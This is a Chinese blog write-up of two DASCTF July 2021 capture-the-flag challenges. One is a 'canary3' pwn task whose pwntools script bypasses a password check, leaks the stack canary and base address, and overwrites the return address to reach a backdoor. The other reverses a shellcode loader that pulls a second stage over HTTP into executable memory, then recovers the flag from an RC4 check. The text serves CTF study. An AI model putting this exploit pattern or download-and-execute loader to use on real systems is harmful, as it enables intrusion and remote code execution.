dasctf July

canary3

最后临死挣扎做了个题目,不亏。

 

 关键就在这个验证,一开始看到有个md5加密,以为是把输入的密码md5后来比较。但是查md5发现那串东西什么也查不出来,然后觉得爆破也是不可能的,给的信息有点少。

然后在尝试输入32个字符后,发现比较时s2字符串的内容变了。才注意到s和s2是相邻的,那么在md5时就会改变s2中的内容。

在尝试不同的字符串后发现s2的变化是固定的,并且第一个字节变成了'\0x00'。

最后试出输入32个c时可以绕过检验。

 

 剩下的就是泄露canary和程序基址了,最后再跳转到后门函数。

 

from pwn import *
context.log_level='debug'
elf=ELF('canary3')


#p=process('./canary3')
p=remote('node4.buuoj.cn',27154)
p.recvuntil('username: ')
p.send('admin')

p.recvuntil('password: ')
#gdb.attach(p)
py='c'*32
p.send(py)

p.sendlineafter('exit\n','2')
p.recvuntil('input:\n')
p.send('a'*25)

#gdb.attach(p)
p.sendlineafter('exit\n','1')
p.recvuntil('a'*25)
can=u64(p.recv(7).rjust(8,'\0'))
print hex(can)

libc=u64(p.recv(6).ljust(8,'\0'))-0x2530
print hex(libc)
p.sendlineafter('exit\n','2')
p.recvuntil('input:\n')
py='a'*24+p64(can)+p64(0)+p64(libc+0x239f)
p.send(py)

p.sendlineafter('exit\n','3')

p.interactive()

 

复现

shellcode

题目给了3个东西,一个golang写的part1,一个shellcode的part2,一个用于加载shellcode并运行的part3。还有一个用于启动的批处理文件main.bat。

main.bat

@echo off
mode con cols=150 lines=40
echo                         _____                    _____                    _____                _____                    _____          
echo                        /\    \                  /\    \                  /\    \              /\    \                  /\    \         
echo                       /::\    \                /::\    \                /::\    \            /::\    \                /::\    \        
echo                      /::::\    \              /::::\    \              /::::\    \           \:::\    \              /::::\    \       
echo                     /::::::\    \            /::::::\    \            /::::::\    \           \:::\    \            /::::::\    \      
echo                    /:::/\:::\    \          /:::/\:::\    \          /:::/\:::\    \           \:::\    \          /:::/\:::\    \     
echo                   /:::/  \:::\    \        /:::/__\:::\    \        /:::/  \:::\    \           \:::\    \        /:::/__\:::\    \    
echo                  /:::/    \:::\    \      /::::\   \:::\    \      /:::/    \:::\    \          /::::\    \      /::::\   \:::\    \   
echo                 /:::/    / \:::\    \    /::::::\   \:::\    \    /:::/    / \:::\    \        /::::::\    \    /::::::\   \:::\    \  
echo                /:::/    /   \:::\    \  /:::/\:::\   \:::\ ___\  /:::/    /   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \ 
echo               /:::/____/     \:::\____\/:::/__\:::\   \:::l    l/:::/____/     \:::\____\    /:::/  \:::\____\/:::/  \:::\   \:::\____\
echo               \:::\    \      \::/    /\:::\   \:::\  /:::l____l\:::\    \      \::/    /   /:::/    \::/    /\::/    \:::\   \::/    /
echo                \:::\    \      \/____/  \:::\   \:::\/:::/    /  \:::\    \      \/____/   /:::/    / \/____/  \/____/ \:::\   \/____/ 
echo                 \:::\    \               \:::\   \::::::/    /    \:::\    \              /:::/    /                    \:::\    \     
echo                  \:::\    \               \:::\   \::::/    /      \:::\    \            /:::/    /                      \:::\____\    
echo                   \:::\    \               \:::\  /:::/    /        \:::\    \           \::/    /                        \::/    /    
echo                    \:::\    \               \:::\/:::/    /          \:::\    \           \/____/                          \/____/     
echo                     \:::\    \               \::::::/    /            \:::\    \                                                       
echo                      \:::\____\               \::::/    /              \:::\____\                                                      
echo                       \::/    /                \::/____/                \::/    /                                                      
echo                        \/____/                  ~~                       \/____/    
set /p FLAG=please input your flag:
start /MIN part1.exe
echo checking...
sleep 2 && part3
taskkill /im part1.exe

大概意思是先运行part1,再运行part3。

part1的golang没怎么看明白,直接看part2。

int sub_5()
{
  char v1[8]; // [esp+0h] [ebp-BCh] BYREF
  int (__stdcall *InternetOpenA)(char *, int, _DWORD, _DWORD, _DWORD); // [esp+8h] [ebp-B4h]
  void (__stdcall *InternetCloseHandle)(int); // [esp+Ch] [ebp-B0h]
  int (__stdcall *InternetReadFile)(int, unsigned int, int, int *); // [esp+10h] [ebp-ACh]
  int (__stdcall *virtualalloc)(_DWORD, int, int, int); // [esp+14h] [ebp-A8h]
  void (__stdcall *HttpSendRequest)(int, _DWORD, _DWORD, _DWORD, _DWORD); // [esp+18h] [ebp-A4h]
  int (__stdcall *InternetConnectA)(int, char *, int, _DWORD, _DWORD, int, _DWORD, _DWORD); // [esp+20h] [ebp-9Ch]
  int (__stdcall *HttpOpenRequest)(int, char *, char *, char *, _DWORD, _DWORD, int, _DWORD); // [esp+24h] [ebp-98h]
  int v9; // [esp+28h] [ebp-94h]
  int (*v10)(void); // [esp+2Ch] [ebp-90h]
  int v11; // [esp+30h] [ebp-8Ch]
  int v12; // [esp+34h] [ebp-88h]
  int v13; // [esp+38h] [ebp-84h]
  int v14; // [esp+3Ch] [ebp-80h]
  char v15[16]; // [esp+40h] [ebp-7Ch] BYREF
  char v16[8]; // [esp+50h] [ebp-6Ch] BYREF
  int v17; // [esp+58h] [ebp-64h]
  int v18; // [esp+5Ch] [ebp-60h] BYREF
  char v19[4]; // [esp+60h] [ebp-5Ch] BYREF
  char v20[40]; // [esp+64h] [ebp-58h] BYREF
  char v21[16]; // [esp+8Ch] [ebp-30h] BYREF
  char v22[12]; // [esp+9Ch] [ebp-20h] BYREF
  char v23[12]; // [esp+A8h] [ebp-14h] BYREF
  unsigned int v24; // [esp+B4h] [ebp-8h]
  char v25[4]; // [esp+B8h] [ebp-4h] BYREF

  sub_480(v1);
  strcpy(v15, "Hello GuiShou");
  strcpy(v19, "Tip");
  v11 = virtualalloc(0, 0x400000, 4096, 64);
  v10 = virtualalloc(0, 0x400000, 4096, 64);
  v9 = 0x4000000;
  strcpy(v22, "127.0.0.1");
  strcpy(v16, "8080");
  strcpy(v25, "GET");
  v21[0] = '/';
  v21[1] = 's';
  v21[2] = 'h';
  v21[3] = 'e';
  v21[4] = 'l';
  v21[5] = 'l';
  v21[6] = '/';
  v21[7] = 'v';
  v21[8] = 'o';
  v21[9] = 'i';
  v21[10] = 'd';
  v21[11] = '\r';
  v21[12] = '\n';
  v21[13] = 0;
  strcpy(v20, "Mozilla/5.0 (Windows NT 6.1; rv:11.0)");
  strcpy(v23, "HTTP/1.0");
  v14 = 1;
  v18 = -1;
  v24 = 0;
  v12 = InternetOpenA(v20, 1, 0, 0, 0);
  v13 = InternetConnectA(v12, v22, 8080, 0, 0, 3, 0, 0);
  v17 = HttpOpenRequest(v13, v25, v21, v23, 0, 0, v9, 0);
  HttpSendRequest(v17, 0, 0, 0, 0);
  while ( v14 && v18 )
  {
    v14 = InternetReadFile(v17, v24 + v11, 4096, &v18);
    v24 += v18;
  }
  InternetCloseHandle(v17);
  InternetCloseHandle(v13);
  InternetCloseHandle(v12);
  sub_59F(v11, v24, v10);
  return v10();
}

 

 

 

 这个一开始没看明白,看了别人的WP说是开了一个http的服务,绑定8080端口,接收数据。

 

动态调试part3。

 

 这个call 750480用于获取需要使用的函数的地址。

分别有InternetOpenA,InternetCloseHandle,InternetReadFile,VirtualAlloc,HttpSendRequestA,Sleep,InternetConnectA,HttpOpenRequest,MessageBoxA。

 

 

 又有一段类似shellcode的东西,dump下来分析。

 

int sub_5()
{
  int result; // eax
  char v1[4]; // [esp+0h] [ebp-C0h] BYREF
  int (__stdcall *v2)(_DWORD, char *, _DWORD, int); // [esp+4h] [ebp-BCh]
  void (__stdcall *v3)(char *, char *, int); // [esp+28h] [ebp-98h]
  char v4[35]; // [esp+2Ch] [ebp-94h]
  char v5[3]; // [esp+4Fh] [ebp-71h] BYREF
  char v6[44]; // [esp+54h] [ebp-6Ch] BYREF
  char v7[44]; // [esp+80h] [ebp-40h] BYREF
  char v8[8]; // [esp+ACh] [ebp-14h] BYREF
  char v9[8]; // [esp+B4h] [ebp-Ch] BYREF
  int i; // [esp+BCh] [ebp-4h]

  sub_48A(v1);
  v7[0] = 0;
  v7[1] = 0;
  v7[2] = 0;
  v7[3] = 0;
  v7[4] = 0;
  v7[5] = 0;
  v7[6] = 0;
  v7[7] = 0;
  v7[8] = 0;
  v7[9] = 0;
  v7[10] = 0;
  v7[11] = 0;
  v7[12] = 0;
  v7[13] = 0;
  v7[14] = 0;
  v7[15] = 0;
  v7[16] = 0;
  v7[17] = 0;
  v7[18] = 0;
  v7[19] = 0;
  v7[20] = 0;
  v7[21] = 0;
  v7[22] = 0;
  v7[23] = 0;
  v7[24] = 0;
  v7[25] = 0;
  v7[26] = 0;
  v7[27] = 0;
  v7[28] = 0;
  v7[29] = 0;
  v7[30] = 0;
  v7[31] = 0;
  v7[32] = 0;
  v7[33] = 0;
  v7[34] = 0;
  v7[35] = 0;
  v7[36] = 0;
  v7[37] = 0;
  v7[38] = 0;
  v7[39] = 0;
  v7[40] = 0;
  v7[41] = 0;
  v7[42] = 0;
  v7[43] = 0;
  strcpy(v9, "FLAG");
  v3(v9, v7, 44);
  v6[0] = 0;
  v6[1] = 0;
  v6[2] = 0;
  v6[3] = 0;
  v6[4] = 0;
  v6[5] = 0;
  v6[6] = 0;
  v6[7] = 0;
  v6[8] = 0;
  v6[9] = 0;
  v6[10] = 0;
  v6[11] = 0;
  v6[12] = 0;
  v6[13] = 0;
  v6[14] = 0;
  v6[15] = 0;
  v6[16] = 0;
  v6[17] = 0;
  v6[18] = 0;
  v6[19] = 0;
  v6[20] = 0;
  v6[21] = 0;
  v6[22] = 0;
  v6[23] = 0;
  v6[24] = 0;
  v6[25] = 0;
  v6[26] = 0;
  v6[27] = 0;
  v6[28] = 0;
  v6[29] = 0;
  v6[30] = 0;
  v6[31] = 0;
  v6[32] = 0;
  v6[33] = 0;
  v6[34] = 0;
  v6[35] = 0;
  v6[36] = 0;
  v6[37] = 0;
  v6[38] = 0;
  v6[39] = 0;
  v6[40] = 0;
  v6[41] = 0;
  v6[42] = 0;
  v6[43] = 0;
  v4[0] = 0x64;
  v4[1] = 0x2E;
  v4[2] = 0x90;
  v4[3] = 0x34;
  v4[4] = 0x41;
  v4[5] = 0xD8;
  v4[6] = 0x24;
  v4[7] = 0xCB;
  v4[8] = 0x52;
  v4[9] = 0x2E;
  v4[10] = 0xFB;
  v4[11] = 0x39;
  v4[12] = 0x3E;
  v4[13] = 0x91;
  v4[14] = 7;
  v4[15] = 0xE;
  v4[16] = 0x96;
  v4[17] = 0xF6;
  v4[18] = 0x3C;
  v4[19] = 9;
  v4[20] = 0x9C;
  v4[21] = 0x21;
  v4[22] = 0x92;
  v4[23] = 0x21;
  v4[24] = 0xB2;
  v4[25] = 0xCC;
  v4[26] = 0x9F;
  v4[27] = 0x51;
  v4[28] = 0x48;
  v4[29] = 0x63;
  v4[30] = 0x4C;
  v4[31] = 0x8F;
  v4[32] = 0x72;
  v4[33] = 0x5D;
  v4[34] = 0xBF;
  qmemcpy(v5, "lQv", sizeof(v5));
  sub_5BA(v7, 38, v6);
  for ( i = 0; i < 38; ++i )
  {
    result = v6[i];
    if ( result != v4[i] )
      return result;
  }
  strcpy(v8, "Correct");
  return v2(0, v8, 0, 64);
}

这里应该就是验证的地方了。

 

int __cdecl sub_5BA(int a1, int a2, int a3)
{
  int result; // eax
  char v4[256]; // [esp+0h] [ebp-124h]
  int v5; // [esp+100h] [ebp-24h]
  int v6; // [esp+104h] [ebp-20h]
  char v7[12]; // [esp+108h] [ebp-1Ch] BYREF
  int j; // [esp+114h] [ebp-10h]
  int v9; // [esp+118h] [ebp-Ch]
  int i; // [esp+11Ch] [ebp-8h]
  char v11; // [esp+123h] [ebp-1h]

  strcpy(v7, "golangc2");
  v6 = 8;
  for ( i = 0; i < 256; ++i )
    v4[i] = i;
  v9 = 0;
  for ( i = 0; i < 256; ++i )
  {
    v9 = (v4[i] + v9 + v7[i % v6]) % 256;
    v11 = v4[i];
    v4[i] = v4[v9];
    v4[v9] = v11;
  }
  v9 = 0;
  i = 0;
  for ( j = 0; ; ++j )
  {
    result = j;
    if ( j >= a2 )
      break;
    i = (i + 1) % 256;
    v9 = (v9 + v4[i]) % 256;
    v11 = v4[i];
    v4[i] = v4[v9];
    v4[v9] = v11;
    v5 = (v4[v9] + v4[i]) % 256;
    v11 = v4[v5];
    *(j + a3) = v11 ^ *(j + a1);
  }
  return result;
}

一个RC4的加密,直接通过调试把密文作为输入来加密就会得到明文。

密文

 

 加密后

 

posted @ 2021-08-01 20:07  mio_yy  阅读(95)  评论(0编辑  收藏  举报